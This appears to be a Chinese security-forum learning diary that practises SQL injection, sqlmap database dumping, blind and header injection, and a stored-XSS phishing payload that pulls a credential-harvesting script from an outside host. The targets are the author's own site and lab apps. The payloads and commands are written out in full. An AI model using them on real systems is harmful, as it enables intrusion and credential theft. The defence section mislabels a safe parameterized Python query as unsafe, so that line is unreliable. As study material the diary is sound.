安全矩阵

 找回密码
 立即注册
搜索
楼主: only

曾玉芳学习日记

[复制链接]

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
 楼主| 发表于 2020-4-17 21:42:37 | 显示全部楼层
本帖最后由 only 于 2020-4-18 23:06 编辑

4月17日:
sqlmap的安装及sql注入

今天主要是安装sqlmap,并且配好了环境,并且大概了解了一下sql注入
由于sqlmap只可以支持python2.7的版本,因此我首先遇到了版本不同的问题,于是我利用一个python环境管理器anaconda解决了这个问题,需要注意的一点是我们每次使用时都不能忘记去切换python的版本
然后是安装sqlmap,去官网下载之后我们来测试是否有用
首先通过命令
  1. conda activate python27
复制代码
激活python2.7版本
然后我们通过cd命令打开sqlmap
  1. (python27) C:\Users\DELL>d:
  2. (python27) D:\>cd D:\sqlmap\sqlmapproject-sqlmap-aaa0c5c
  3. (python27) D:\sqlmap\sqlmapproject-sqlmap-aaa0c5c>python sqlmap.py -h
复制代码
最后我们看看结果:

安装成功!
接下来就是了解一下sql注入,虽然之前有尝试过简单的联合注入,但没有对这个进行深入学习
在owasp发布的top 10漏洞里面,注入漏洞一直是危害排名第一的,其中主要指sql inject漏洞,那么为什么会排名第一呢?我们要知道,sql注入可以直接对数据库进行操作,因此影响是很大的
数据库注入漏洞的形成,主要是开发人员在构建代码时,没有对输入边界惊醒安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息漏洞
那么sql注入的过程大概是怎样的呢?

简单来说,就是当你在前端界面输入一个用户id,该数据会被服务器放进SQL数据库并执行,从而我们可以获取数据库里的信息
概括来说,攻击流程大概如下:

常见的注入点类型:
1.数字型
  1. user_id=$id
复制代码
2.字符型
  1. user_id=’$id’
复制代码
3.搜索型
  1. text LIKE’%{$_GET[search]}%’"
复制代码

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
 楼主| 发表于 2020-4-18 23:06:30 | 显示全部楼层
本帖最后由 only 于 2020-4-18 23:58 编辑

4月18日:
对自己的网页进行sql注入

今天,在重新对手工sql注入的语法再次温习过之后,我终于还是对自己写的网页下手了,首先按照常规流程,判断是否存在注入点
当我先输入1,正常,输入1’报错,说明存在注入
接下来我没要做的是判断注入类型
  1. 1 or 1=1 数字型注入
  2. 1’ or ‘1’=’1’ 字符型注入
  3. 1” or “1”=”1” 字符型注入
  4. 1%’ or 1=1 搜索型注入
复制代码
回到我自己写的网页,welcome to search!显然是搜索型,于是我输入1%’ or 1=1后,整张表都打印出来了

大概是我自己写的网页的原因,没有做任何的防止sql注入措施,一个语句,不仅判断出来了注入类型,居然整张表格都出来了,但是为了练习一下手工sql联合注入,我决定采用联合注入的方式继续走下去
假设我们到这只判断出来了注入类型为搜索型,那么我们的第二步就是确定字段数
确定字段数我们一般用order by来进行
  1. 输入1’ order by 1#,显示正常
  2. 输入1’ order by 2#显示正常

  3. 输入1’ order by 20#显示正常
  4. 输入1’ order by 21#查询失败
复制代码
说明字段数有20列,知道了字段数我们就可以进行union查询了
首先获取数据库名
  1. 1%' union select database(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
复制代码

我们可以看见数据库名为test
接下来获取表名
  1. 1%' union select 1,table_name ,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from information_schema.tables where table_schema='test'#
复制代码

我们知道了表名为“information”,接下来查看所有列
  1. 1%' union select 1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from information_schema.columns where table_name='information'#
复制代码

注:因为我在这个数据库里面只有一个表,因此直接table_schema,若存在很多个表,并且要获取所有表,我们可以使用group_concat()函数,group_concat(table_name),同样的获取所有的数据库和列我们都可以采用该函数
当获取到了列名之后,我们想要获得任何信息只需使用sql语句操作即可,例如:
  1. 1%' union select 姓名,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from information#
复制代码



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
 楼主| 发表于 2020-4-19 21:50:19 | 显示全部楼层
本帖最后由 only 于 2020-4-20 14:03 编辑

4月19日:
Insert注入
insert注入,首先在了解如何进行注入前,我们应该先了解一下sql语法里面insert这个语法
当我们需要向数据库里面插入元素时,正确语法如下:
  1. INSERT INTO table_name (column1,column2,column3,...)
  2. VALUES (value1,value2,value3,...);
复制代码
我们要明白sql注入最主要的就是构造闭合,让数据库去执行我们想要执行的语句,那么insert语句我们应该如何构造闭合呢?
我们在这里需要采用的是利用or去构造闭合,我们一个例子来更好的理解
  1. Insert into member(username,pw) values(‘xxxx’,123456)
复制代码
我们对以上语句构造闭合的方法就是首先闭合前面的单引号然后用or闭合后面的单引号,中间一个or来执行我们想要的语句
  1. Insert into member(username,pw) values(‘1’ or 自己的表达式or’’,123456)
复制代码
所以我们需要填的payload如下:
  1. 1’ or 自己的表达式or’
复制代码
:我们要更新数据,则表达式可以使用updatexml()函数,updatexml()函数是mysql对xml文档数据进行查询和修改的XPATH函数
语法:
UPDATEXML(xml_document,XPthstring,new_values)
第一个参数:fiedname是string格式,为表中的字段名
第二个参数:XPthstring(Xpath格式的字符串)#Xpath定位必须为有效的,否则会发生错误
第三个参数:new_values,String格式,替换查找到的符合条件的


回复

使用道具 举报

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
 楼主| 发表于 2020-4-20 22:06:32 | 显示全部楼层
本帖最后由 only 于 2020-4-21 21:26 编辑

4月20日:
利用sqlmap对自己的网站进行注入

首先我们了解一下sqlmap这项工具
sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
Sqlmap具体应该怎么使用呢?其中会用到一些参数,这些参数比较多,所以我整理了一些比较常用的参数
注入的基本的格式为
  1. sqlmap -u “ url ? 参数=1″
复制代码
如果是post方式传输的我们应该用burp对post包进行抓取,将post包放到指定的txt文件里面
  1. sqlmap -r “txt文件路径” -p “username” –dbms mysql 指定username参数
复制代码
sqlmap的一些详细命令:
  1. –dbs 所有数据库
  2. –current-db 网站当前数据库
  3. –passwords 数据库密码
  4. –current-user 检索数据库管理系统当前用户
  5. –current-db 检索数据库管理系统当前数据库
  6. –is-dba 检测DBMS当前用户是否DBA
  7. –users 枚举数据库管理系统用户
  8. –passwords 枚举数据库管理系统用户密码哈希
  9. –privileges 枚举数据库管理系统用户的权限
  10. –roles 枚举数据库管理系统用户的角色
  11. –dbs 枚举数据库管理系统数据库
  12. -D DBname 要进行枚举的指定数据库名
  13. -T TBLname 要进行枚举的指定数据库表(如:-T tablename –columns)
  14. –tables 枚举的DBMS数据库中的表
  15. –columns 枚举DBMS数据库表列
  16. –dump 转储数据库管理系统的数据库中的表项
  17. –dump-all 转储所有的DBMS数据库表中的条目
  18. -p TESTPARAMETER 可测试的参数(S)
  19. –dbms=DBMS 强制后端的DBMS为此值
  20. –os=OS 强制后端的DBMS操作系统为这个值
  21. –prefix=PREFIX 注入payload字符串前缀
  22. –suffix=SUFFIX 注入payload字符串后缀
  23. –tamper=TAMPER 使用给定的脚本(S)篡改注入数据
复制代码
在大概了解了这些参数之后,我开始对自己的表进行注入
  1. python sqlmap.py -r sql.txt
复制代码

我们可以发现在参数search下是可以注入的,因此我们接下来开始对注入点进行注入
  1. python sqlmap.py -r sql.txt -p search
复制代码
和手工注入的方式一样,我们首先来获取数据库名
  1. python sqlmap.py -r sql.txt -p search –dbs
复制代码

我们可以发现,已经获取到了数据库的名称“test”
接下来获取表名:
  1. python sqlmap.py -r sql.txt -p search -D test –tables
复制代码

在数据库test下有一个表test
然后是列名
  1. python sqlmap.py -r sql.txt -p search -D test -T information –columns
复制代码

之后我们可以直接获取每一列的内容

  1. python sqlmap.py -r sql.txt -p search -D test -T information -C "姓名","专业" –dump
复制代码
或者直接打印出整个表格
  1. python sqlmap.py -r sql.txt -p search -D test -T information --dump
复制代码


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
 楼主| 发表于 2020-4-21 21:21:54 | 显示全部楼层
本帖最后由 only 于 2020-4-22 17:19 编辑

4月21日:
sql注入之盲注

在很多情况下,后台会对错误的信息进行处理,比如屏蔽了报错,这样我们就无法根据报错信息来进行注入的判断,这种情况下的注入,我们称为盲注。根据表现形式的不同,盲注又分为based Boolean和based time两种类型


基于boolean的盲注主要表现症状:
1.没有报错信息
2.不管是正确的输入还是错误的输入,都只显示两种情况(我们可以认为是0或者1)
3.在正确的输入下,输入and 1=1/and 1=2发现可以判断

如果说基于boolean的盲注还可以在页面上看到0 or 1的回显的话,那么基于time的盲注就什么都看不到了,不过还有一个条件,就是时间,通过特定的输入,判断后台执行的时间,从而确认注入
我们通过一个例子来加深印象,在进行例子前我们先补充一个mysql的小知识
  1. Select database(); //得到数据库名称
  2. Select substr(database(),1,1);//使用substr函数截取结果中的值,从第一个字符开始,截取1个字符。
  3. Select ascii(substr(database(),1,1));  将截取出来的字符,转换成acsii码,以便于后面做运算。
  4. Select ascii(substr(database(),1,1))>97;  //结果会为1或者0,也就是true or false
复制代码


我们像之前一样输入一个单引号,点击查询

我们可以发现他不像之前一样会报错,我们输入之前的一段payload
  1. kobe’ or 1=1#
复制代码

页面还是如此,那么我们如何判断是否存在漏洞呢?我们输入
  1. kobe’ and 1=1#
复制代码

我们可以发现已经显示出了kobe的信息,修改payload
  1. kobe’ and 1=2#
复制代码

我们可以发现还是不存在,因为and后面的语句为false,这说明我们的语句数据库已经执行,那么说明存在漏洞
那么我们的payload接下来应该怎么处理呢?
  1. kobe’ and ascii(substr(database(),1,1))>113
复制代码
该语句的意思是将数据库的字符转化为ascii码去估计数据库到底为什么
当然这里的数据库我们也可以替换成其他语句,例如:
  1. kobe’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>113
复制代码
这个是获取当前数据库的第一个表
我们可以发现,盲注如果用手工注入的话还是太麻烦了,所以我们最好还是采取工具注入



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
 楼主| 发表于 2020-4-22 20:49:19 | 显示全部楼层
本帖最后由 only 于 2020-4-22 20:53 编辑

4月22日:
SQL Injection注入漏洞的防范

在前几天了解了各种sql注入的方式之后,今天主要是了解对该漏洞的防范措施

代码层面:
1、对输入进行严格的转义和过滤
2、使用参数化(Parameterized Query 或 Parameterized Statement)
网路层面:
1.通过WAF设备启用防sql inject注入策略(或类似防护系统)
2.云端防护(360网站卫士,阿里云盾)

1、PHP防范案例
转义举例:
  1. function escape($link,$data){
  2.     if(is_string($data)){
  3.         return mysqli_real_escape_string($link,$data);
  4.     }
  5.     if(is_array($data)){
  6.         foreach ($data as $key=>$val){
  7.             $data[$key]=escape($link,$val);
  8.         }
  9.     }
  10.     return $data;
  11. }
复制代码

这段代码中的mysqli_real_escape_string就是利用了mysqli里面的real_escape对输入进行转义
过滤举例:(黑名单)
  1. str_replace("%","",$_POST['username']),把post里面的数据里面含有%的替换成空
复制代码

虽然转义和过滤这种方法是有效的,但是由于数据库和代码的特性升级的比较快,不太建议使用这种方法

推荐的做法:使用PDO的prepare预处理然后参数化(先解析语法,而不是直接将参数拼接到SQL中)
  1. $username=$_GET['username'];
  2. $password=$_GET['password'];

  3. try{
  4.     $pdo=new PDO('mysql:host=localhost;dbname=ant', 'root', 'root');
  5.     $sql="select * from admin where username=? and passowrd=?";
  6.     $stmt=$pdo->prepare($sql);//先不传参数,先解析语法
  7.     //    var_dump($stmt);
  8.     $stmt->execute(array($username,$password));
  9.     //这个时候在把参数传进去,以索引数组的方式传进去,就成功防止了注入

  10. }catch (PDOException $e){
  11.     echo $e->getMessage();
  12. }
  13. ?>
复制代码

我们知道sql注入漏洞的形成 ,是因为我们传进去的参数直接被拼接到sql里面,而我们的PDO用参数化的占位符去写参数,在和数据库交互时,我们先对sql语句中用占位符代替的变量的这条语句进行交互,然后进行预处理,先把sql这条语句进行执行和编译,然后在传入参数而不是拼接参数

2、python防范案例

不安全的写法: 直接将变量拼到SQL,产生注入
  1. import psycopg2
  2. def bla_range_result(self,startid,endid):
  3.         range_result = “select * from result where id>=%s and id<=%s”  %  (startid,endid)      
  4.         self.cur.execute(range_result)
  5.         self.db.commit()
  6. 不安全的写法: 使用psycopg2的占位符写法
  7. import psycopg2
  8. def bla_range_result(self,startid,endid):
  9.         range_result = "select * from result where id>=%s and id<=%s"
  10.         self.cur.execute(range_result,(startid,endid))
  11.         self.db.commit()
复制代码



3、使用存储过程
使用存储过程的效果和参数化查询语句类似,其区别就是存储过程需要先将SQL语句定义在数据库中。但需要注意的是,存储过程中也可能会存在注入问题。因此应该避免在存储过程内使用动态的SQL语句。


回复

使用道具 举报

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
 楼主| 发表于 2020-4-23 22:51:09 | 显示全部楼层
本帖最后由 only 于 2020-4-23 22:54 编辑

4月23日:
今天主要把之前所有学过的基础sql注入知识回顾了一边,为了加深自己的理解在dvwa上进行了手工注入测试,但是由于学了sqlmap的使用,我决定再用sqlmap注入一遍熟悉操作。

由于dvwa需要登录,所以我们在使用SQLmap访问url时需要带上cookie,格式为:
  1. 参数:--cookie="you cookie"
复制代码

然后我们开始使用sqlmap
  1. sqlmap
  2. --url=
  3. "192.168.64.129:8000/DVWA0/vulnerabilities/sqli/?id=1&Submit=#"
  4. --cookie=
  5. "security=low; ASPSESSIONIDCAQATSAR=FDGHDGHDGAJFFCDCAKCIHFPP;
  6. echo=lao=True; PHPSESSID=ee4d0b24edece51d69c478a7f475f365"
复制代码


我们可以看出,这个是存在注入点的
获取目标数据库的数据库名:(sqlmap参数:--dbs)
  1. sqlmap
  2. --url="192.168.64.129:8000/DVWA0/vulnerabilities/sqli/?id=1&Submit=#"
  3. --cookie="security=low;
  4. ASPSESSIONIDCAQATSAR=FDGHDGHDGAJFFCDCAKCIHFPP;
  5. echo=lao=True; PHPSESSID=ee4d0b24edece51d69c478a7f475f365"
  6. --dbs
复制代码


获取数据库表名:(参数:--tables)
  1. sqlmap
  2. --url="192.168.64.129:8000/DVWA0/vulnerabilities/sqli/?id=1&Submit=#" --cookie="security=low; ASPSESSIONIDCAQATSAR=FDGHDGHDGAJFFCDCAKCIHFPP;
  3. echo=lao=True; PHPSESSID=ee4d0b24edece51d69c478a7f475f365"
  4. -D 'dvwa0'
  5. --tables
复制代码


获取列名:(参数:--columns)
  1. sqlmap
  2. --url="192.168.64.129:8000/DVWA0/vulnerabilities/sqli/?id=1&Submit=#" --cookie="security=low; ASPSESSIONIDCAQATSAR=FDGHDGHDGAJFFCDCAKCIHFPP;
  3. echo=lao=True; PHPSESSID=ee4d0b24edece51d69c478a7f475f365"
  4. -D 'dvwa0'
  5. -T 'users'
  6. --columns
复制代码


获取列中的信息:(参数:--dump)
  1. sqlmap
  2. --url="192.168.64.129:8000/DVWA0/vulnerabilities/sqli/?id=1&Submit=#" --cookie="security=low; ASPSESSIONIDCAQATSAR=FDGHDGHDGAJFFCDCAKCIHFPP;echo=lao=True; PHPSESSID=ee4d0b24edece51d69c478a7f475f365"
  3. -D 'dvwa0'
  4. -T 'users'
  5. -C 'user,password'
  6. --dump
复制代码




然后我们用cmd5可以对密码进行解密

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
 楼主| 发表于 2020-4-24 22:47:04 | 显示全部楼层
本帖最后由 only 于 2020-4-24 22:56 编辑

4月24日:
xss钓鱼攻击



今天已经结束了sql注入的学习,而之前的xss我也还没学完,于是今天打算继续学习xss

在我们的生活中,网络安全问题比较常见的问题就是钓鱼网站了,而今天我要学习的内容就是xss钓鱼攻击的原理

实际的钓鱼攻击场景有很多,可以内嵌一些钓鱼页面或链接等,今天我主要是结合存储型xss利用basic认证来对这个有一些更好的理解

我们先上一段payload,然后再对这个进行分析
<script src=”http://192.168.1.15/pkxss/xfish/fish.php”></script>
每当用户来访问该页面时,都会执行这段代码,这段代码会通过src这个标签去访问fish.php这个文件,我们来看看fish.php文件的内容

这个文件的目的是获取用户和密码,若没有获取成功则返回三个header,其效果就是出现一个认证框,当用户输入用户名和密码时,将其发送给xss后台
接下来我们来看看效果

当我们输入payload,每当访问就会弹出这个框

当我们输入账号密码后台便会直接获取




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
 楼主| 发表于 2020-4-26 22:39:39 | 显示全部楼层
本帖最后由 only 于 2020-4-26 22:42 编辑

4月26日:
sql注入之暴力破解


在之前的学习中,最开始接触到的就是burp的使用,借助burp去爆破验证码,用户名,密码,但其实有时候,我们的SQL注入也可以结合暴力破解更进一步的进行,今天就通过一个例子来看看到底是如何进行的

我们来到我们最熟悉的界面

回顾我们最早的payload
  1. Kobe’ or 1=1#
复制代码
然后我们就可以得到数据库里的相关信息
今天我们修改payload,来看看爆破结合sql注入是如何获取表名的
  1. kobe’ and exists(select * from aa)#
复制代码

执行这段payload他不仅会查询kobe这个人还会执行exists()这个语句去查找aa这个表
我们输入payload点击提交

我们可以看到显示aa这个表不存在
接下来我们要做的就是用burp爆破aa这个表得到正确表名,首先用burp抓包

Send to intruder

然后导入字典

我们可以发现成功爆破表名user,相同的,我们可以用同样的方法爆破列名,payload如下:
  1. kobe’ and exists(select id from user)#
复制代码

在这里我们需要爆破的就是这个id了



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
 楼主| 发表于 2020-4-27 21:57:24 | 显示全部楼层
本帖最后由 only 于 2020-4-27 21:59 编辑

4月27日:
http header注入


有时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)或者通过http header头信息获取客户端的一些信息,比如useragent,accept字段等等。会对客户端的httpheader信息进行获取并使用sql进行处理,如果此时没有足够的安全考虑,可能会导致基于http header的sql注入漏洞

同样的,用例子来便于理解

我们先登录之后,来看看登陆后的信息

这里对user agent进行了获取,那么我们可以猜想,这里是否存在着头注入,我们首先用burp抓包

然后我们知道,我们是要观察user agent这里是否存在注入点

将抓到的包repeater后,我将useragent修改为 ‘ ,我们可以看见显示sql语法错误,就此可以判断,这个地方存在着注入漏洞
于是我们便可以在这里做测试,我们输入payload
  1. 1' or updatexml(1,concat(0x7e,database()),0) or '
复制代码


我们可以看见,已经返回了数据库名,找这种方法继续我们就可以获取整个数据库


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 19:10 , Processed in 0.017524 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表